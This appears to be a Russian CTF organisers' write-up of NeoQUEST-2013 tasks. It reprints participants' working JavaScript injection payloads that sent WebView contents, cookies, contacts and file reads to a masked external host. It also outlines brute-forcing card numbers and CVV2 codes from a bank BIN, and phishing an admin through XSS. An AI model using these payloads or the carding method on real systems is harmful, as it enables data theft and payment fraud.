В интерфейсе Android-приложения, который представляет собой WebView, не хватало только большой красной кнопки «отправить файл», поэтому функцию надо было вызвать самостоятельно через javascript, который без каких-либо ограничений можно было пропихнуть через смс. Но не любой javascript при таком способе вставки выполняется, а поскольку бот на Android был почти как человек (такой же ужасно любопытный и безбоязненный), то он с радостью нажимал на все приходящие кнопки.
Алгоритм прохождения задания:

image

Такие варианты присылали участники:

-- /list -- Не угадал) -- Вручную пишешь? -- Только никому не рассказывайте, что вы руками СМС обрабатываете - засмеют. 

Привет! Надеюсь я не попал на $18? :)

. NQC fob: <img src=http://xxx.xxx.xxx.xxx:xxxx/inject>

. NQC fob: ");var c =["my","your"];for(var k = 0; k < 2; k++){var msgs=document.getElementsByClassName(c[k]);for (var i = 0; i < msgs.length;i++){var cname = msgs[i].className;var childs=msgs[i].children;for(var j = 0; j < childs.length; j++)appendText("<img src=http://xxx.xxx.xxx.xxx:xxxx/"+cname+"/"+encodeURIComponent(childs[j]. innerText)+">");}};show("fob 

. NQC fob: ");var e=document.getElementsByClassName("tab");for(var i=0;i<e.length;i++)appendText("<img src=http://xxx.xxx.xxx.xxx:xxxx/"+encodeURIComponent(e[i].title)+">");show("admin

1 NQC Contacts:<img src="http://xxx.xxx.xxx/d.php"

1 NQC fob:","my");var i=new Image();i.src="http://xxx.xxx.xxx/d.php?d="+escape(findTab("fob").innerHTML);appendMsg("x","

1 NQC fob:","my");var x=new XMLHttpRequest();x.open('POST','http://xxx.xxx.xxx/d.php',true);x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');x.send("a="+encodeURIComponent(document.getElementsByTagName('body')[0].innerHTML));appendMsg("x","

1 NQC x:","my");var s=document.createElement('script');s.src='http://xxx.xxx.xxx/1.txt';document.getElementsByTagName('head')[0].appendChild(s);clr("

1 NQC x:","my");var s=escape(document.getElementsByTagName('body')[0].innerHTML);for(i=0;i<s.length;i+=99)window.Android.postMessage(s.substr(i,99),"_");clr("

1 NQC fob:","my");var i=new Image();i.src="http://xxx.xxx.xxx/d.php?d="+escape(findTab("Contacts").innerHTML);appendMsg("x","

1 NQC x:","my");var s=escape(findTab("Contacts").innerHTML);for(i=0;i<s.length;i+=99)window.Android.postMessage(s.substr(i,99),"_");clr("

1 NQC x:","my");var s=document.createElement('script');s.src='http://xxx.xxx.xxx/d.php';document.getElementsByTagName('head')[0].appendChild(s);clr("

1 NQC fob:<img src=\"http://xxx.xxx.xxx/d.php\"/>

1 NQC fob:","my");window.Android.sendFile("key.txt","AVictor");clr("

Q NQC " eval('q=new Image();q.src="http://xxx.xxx.xxx/image.php?" document.cookie;') "

. NQC fob: "); document.body.innerHTML="<iframe width=100% height=100% frameborder=0 src=http://xxx.xxx.xxx.xxx:xxxx/l.html></iframe>";//

Q NQC <img src="http://xxx.xxx.xxx/image.php?qwe"/>:hello

Q NQC <img src="http://xxx.xxx.xxx/image.php?123">:hello

Q NQC " eval('i=new Image();i.src="http://xxx.xxx.xxx/image.php?' document.cookie '";') ":hello

Q NQC hello:<img src="http://xxx.xxx.xxx/image.php?qwe1"/>

Q NQC " eval(';i=new Image();i.src="http://xxx.xxx.xxx/image.php?'; document.cookie ';";';) ":hello

. NQC test: ");function snd(i){var c = "";var b = i.read();while(b != -1) {var s = String.fromCharCode(b);c += s;b = i.read();if(b<0 || (s=="\\n" && c.length>512)) {document.body.innerHTML+="<img src=http://xxx.xxx.xxx.xxx:xxxx/?"+encodeURIComponent(c)+">";c=""; }}}rt=Android.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null). invoke(null,null);snd(rt.exec(["/system/bin/ls","-R","/sdcard/"]).getInputStream());; show("test

. NQC test: ");function snd(i){var c = "";var b = i.read();while(b != -1) {var s = String.fromCharCode(b);c += s;b = i.read();if(b<0 || c.length>31) {document.body.innerHTML+="<img src=http://xxx.xxx.xxx.xxx:xxxx/?"+encodeURIComponent(c)+">";c=""; }}}rt=Android.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null). invoke(null,null);snd(rt.exec(["/system/bin/ls","-R","/sdcard/"]).getInputStream());; show("test

. NQC test: ");function snd(fn, i){var c = "";var b = i.read();while(b != -1) {var s = String.fromCharCode(b);c += s;b = i.read();if(b<0 || c.length > 32) {document.body.innerHTML+="<img src=http://xxx.xxx.xxx.xxx:xxxx/"+fn+"?"+encodeURIComponent(c)+">";c=""; }}}rt = Android.getClass().forName("java.lang.Runtime").getMethod( "getRuntime",null).invoke(null,null);snd("f", rt.exec(["/system/bin/cat", "/sdcard/flag"]).getInputStream());snd("ft", rt.exec(["/system/bin/cat", "/sdcard/flag.txt"]).getInputStream());snd("k", rt.exec(["/system/bin/cat", "/sdcard/key"]).getInputStream());snd("kt", rt.exec(["/system/bin/cat", "/sdcard/key.txt"]).getInputStream());;show("test

. NQC xxx: ");Android.postMessage("xxx", "/, /.txt, key, key.txt"); //

. NQC xxx: ");Android.postMessage("xxx", "/./.txt.key.key.txt"); //

. NQC fob: ");Android.postMessage("file:///android_asset/key.txt", "xxx"); //;Android.postMessage( "xxx");"<img
src=http://xxx.xxx.xxx.xxx:xxxxx/" fn "?" encodeURIComponent(c) ">"; -> {Android.postMessage(

. NQC test: ");function snd(fn, i){var c = "";var b = i.read();while(b
!= -1) {var s = String.fromCharCode(b);c  = s;b = i.read();if(b<0

Ну и кое-кто считил. Всего пришло примерно 200 смс (нужно было прикручивать короткий номер – и подзаработали бы заодно).
Некоторые даже хотели пообщаться вербально! Получилось веселое задание.

Туда и обратно (кардинг)

Мы продуктивно обсудили прохождение этого задания с участником tavel – и лучше про задание и не напишешь. Переписка практически без изменений, но немного сокращена (надеюсь, tavel не против и не заставит меня бегать по судам):

tavel———>NeoQUEST_support

Во-первых, у банка Санкт-Петербург два BIN, подходящих под условие задачи, 479768 и 479769, вот список всех BIN этого банка: 479768;VISA;BANK SAINT PETERSBURG PLC;DEBIT;CLASSIC;RUSSIAN FEDERATION;RU;RUS;643;; 479769;VISA;BANK SAINT PETERSBURG PLC;DEBIT;CLASSIC;RUSSIAN FEDERATION;RU;RUS;643;; 479770;VISA;BANK SAINT PETERSBURG PLC;DEBIT;BUSINESS;RUSSIAN FEDERATION;RU;RUS;643;; 479771;VISA;BANK SAINT PETERSBURG PLC;CREDIT;PLATINUM;RUSSIAN FEDERATION;RU;RUS;643;; 479772;VISA;BANK SAINT PETERSBURG PLC;DEBIT;ELECTRON;RUSSIAN FEDERATION;RU;RUS;643;; 479773;VISA;BANK SAINT PETERSBURG PLC;DEBIT;PREMIER;RUSSIAN FEDERATION;RU;RUS;643;;  Как видим, оба первых BIN подходят под условия. Видимо, имеется в виду 479769, как указанный на гуглящихся изображениях карт этого банка, но проверять-то оба придется. Далее, т.к. мы не знаем последние 4 цифры, то на каждый BIN будет 1000 комбинаций, с учетом того, что последнюю цифру мы можем вычислять автоматически по алгоритму Луна. Итого на подбор нам нужно 2000 попыток.  во-вторых: при покупке в онлайне вводится CVV2 код, а не CVV, CVV2 код написан на обратной стороне карты, а CVV код записан на 1-м треке магнитной полосы, он неизвестен пользователю и он никогда нигде вручную не вводится. В задании везде CVV, на сайте label поля с кодом "CVV2/CVC2", а placeholder CVV, в общем, непонятно, что именно имели в виду авторы и какой алгоритм использовать. Алгоритмы вычисления этих кодов похожи, но отличаются (http://dmitryga.ru/2013/640): CVV = 3DES(PAN[9], MMYY, ServiceCode) CVV2 = 3DES(PAN[9], YYMM, 000)  Во-первых, порядок месяца и года обратный, во-вторых, для вычисления CVV2 сервис-код не нужен, он берется как 000. Ну, что сервис-код в задании имеется в виду 101 это понятно, непонятно, почему он вообще участвует в расчете CVV2.  Кстати, от номера карты (PAN) берутся только 9 цифр (пропускается BIN и последняя контрольная цифра), чтобы получалось 16 цифр, взяв каждые 2 цифры которых за шестнадцатеричное значение, мы получим 8 байт, т.е. 64-битный код, который и шифруется 64-битными ключами, всё это придумано для оптимизации и ускорения процесса расчета.  Ну и просто уточнение, видимо не влияющее на задание: Под 3DES обычно подразумевается шифрование 1-м ключом, дешифрование результата 2-м ключом и шифрование результата опять 1-м ключом, т.н. порядок EDE с двумя ключами, однако существуют другие варианты, например, EEE, и текущий алгоритм у визы в общем-то держится в секрете, и не факт, что это именно EDE2.

NeoQUEST_support——>tavel

Тот алгоритм подсчёта CVV и CVV2, который вы описали, не является единственно верным (даже не о EDE речь). Есть алгоритмы, которые берут все цифры PAN, потом добавляют оставшееся нулями до 128 бит, бьют на две части эти данные и потом после первого шага DES-а их XOR-ят между собой. Поэтому вариантов несколько. Открою небольшой секрет. Там корректно обработается несколько CVV, т.е. мы проработали несколько путей прохождения задания (вычисления CVV2) и решили, что все они будут считаться правильными. 

Порядок прохождения задания:
1. Залогиниться на сайте (nick/nick).

image

2. Узнать BIN (IIN) банка Санкт-Петербург. В гугле находится — 479769. Добыть другие BIN можно, только имея скрытые каналы (как, видимо, у tavel) к официально закрытому актуальному списку BIN.
3. Использовать алгоритм Луна и алгоритм генерации CVV2 (например, такой CVV2 = 3DES(PAN[9], YYMM, 000) для генерации пар PAN/CVV. Можно было для этого использовать программу EFT Calculator, немного поменяв её исходники.
4. Перебрать (конечно, не вручную) все несколько тысяч вариантов на сайте в форме покупки билета. И при правильном вводе данных получить ключ на введённую почту.

image

Мой первый MP3 плеер (аудио-стеганография)

Простые манипуляции с файлом могут помочь в сокрытии передаваемой информации, особенно если не знать, где её искать. Мы немного ограничили область поиска, чтобы участники искали иголку не в стоге сена: «Ник проиграл первые 5 секунд, затем еще пару секунд трека с 2:40 и, наконец, последний фрагмент с 3:42». Это, конечно, существенно упростило задачу.
Слово, вставленное в mp3-файл, было разбито на три части.
Первый отрезок – слово «RUM». Это слово мы воспроизвели на генераторе речи, затем замедлили и инвертировали. Соответственно, участникам предстояла обратная задача.
Второй отрезок – слово «GINAE». Оно было закодировано морзянкой и сильно ускоренно. При внимательном прослушивании отрезка можно сразу ее услышать, а затем замедлить песню на этом отрезке и раскодировать морзянку.
Третий отрезок – слово «IMA». В этом отрезке мы специально вырезали определённый диапазон частот и вставили морзянку, записанную на этой частоте. Морзянка звучала только в одном канале и была приглушена, поэтому её было очень сложно услышать невооруженным и вооруженным слухом без специальных манипуляций. В тегах mp3 была оставлена подсказка, указывающая на рабочий диапазон частот морзянки: «Riped by fans for fans. Enjoy in 800-1000». Если с помощью параметрического эквалайзера, к примеру, в Sound Forge, поднять необходимые частоты, то можно услышать морзянку и, раскодировав её, получить искомый кусочек.

image

В итоге получатеся слово IMAGINAERUM, что является названием одного из альбомов группы Nightwish – любимой группы создателя задания =). key=MD5(IMAGINAERUM)

Если есть в кармане пачка сигарет (стелс-сервер)

Для реализации задания мы использовали сервер с установленной нашей операционной системой FebOS, в используемой версии которой просто не было как такового tcp/ip стека и стека протоколов, поэтому он не отвечал вообще ни на какие запросы кроме одного: по UDP на порт 2112. Мы поставили задержки в ответе на сообщения, приходившие на этот порт, в результате чего многие утилиты перестали обнаруживать этот порт как открытый (в частности, nmap). Обнаружить его можно, запустив какой-нибудь сканер на сканирование всех UDP-портов и посмотрев в Wireshark ответы (придёт всего один с порта 2112). Основная часть задания решена, дальше уже дело техники и развлечения. Нужно согласовать xml-протокол с сервером по подсказкам:

image
(картинка участника vos)

И выиграть у бота в гомоку:

image
(картинка участника vos)

«Новый год для нас — не праздник»(с) Почта России (веб-безопасность)

Это задание практически полностью повторяло ситуацию с реальным довольно крупным сайтом, пентест которого мы недавно проводили. Жизнь всё придумает за нас, нам остаётся только не испортить.
Входной точкой является SQL-Injection, с помощью которой можно добыть информацию об администраторах сайта (e-mail адреса и хеши паролей).
Кроме SQL-Injection на сайте есть passive xss. Используя социальную инженерию, можно было заставить администратора ввести учётные данные (админ был реальный, работающий с 10:00 до 18:00, а иногда и почти круглосуточно), перейдя по ссылке, содержащей XSS и пересылающей Вам логин и пароль. Многие участники, проходившие задания этим путём, упорно старались получить куки и совсем не хотели применять социальную инженерию – хотя в жизни именно человек чаще всего является самым слабым звеном.
Пароли администраторов сайта, так же как и всё задание, мы взяли из жизни: не заоблачно сложные, но и не словарные (средняя длина, содержание цифр, букв, символов и т.д.). Поэтому, получив хэши паролей администраторов, можно было вполне успешно справиться с задачей их восстановления по md5-хэшу, что некоторые пользователи и сделали.

Прочь тоска, под ногами доска! (SCADA-система + поиск по картинкам)

Благодарности

Спасибо всем участникам! Мы надеемся, что вам понравилось, и что каждый узнал для себя что-нибудь новое и полезное. Радует, что все задания пройдены, за что отдельное спасибо всем призёрам. Встретимся с вами на очном этапе NeoQUEST-2013, и заранее желаем вам удачи!

Спасибо всей команде, участвовавшей в создании заданий: ainchorn, otanatari, macoeshka, bozzzon, denys, sergy, 3ka5_cat и др. Отдельное спасибо pushkin за поддержку всей инфраструктуры и, конечно, Xandra за отличный больничный дизайн.

ссылка на оригинал статьи http://habrahabr.ru/company/neobit/blog/170679/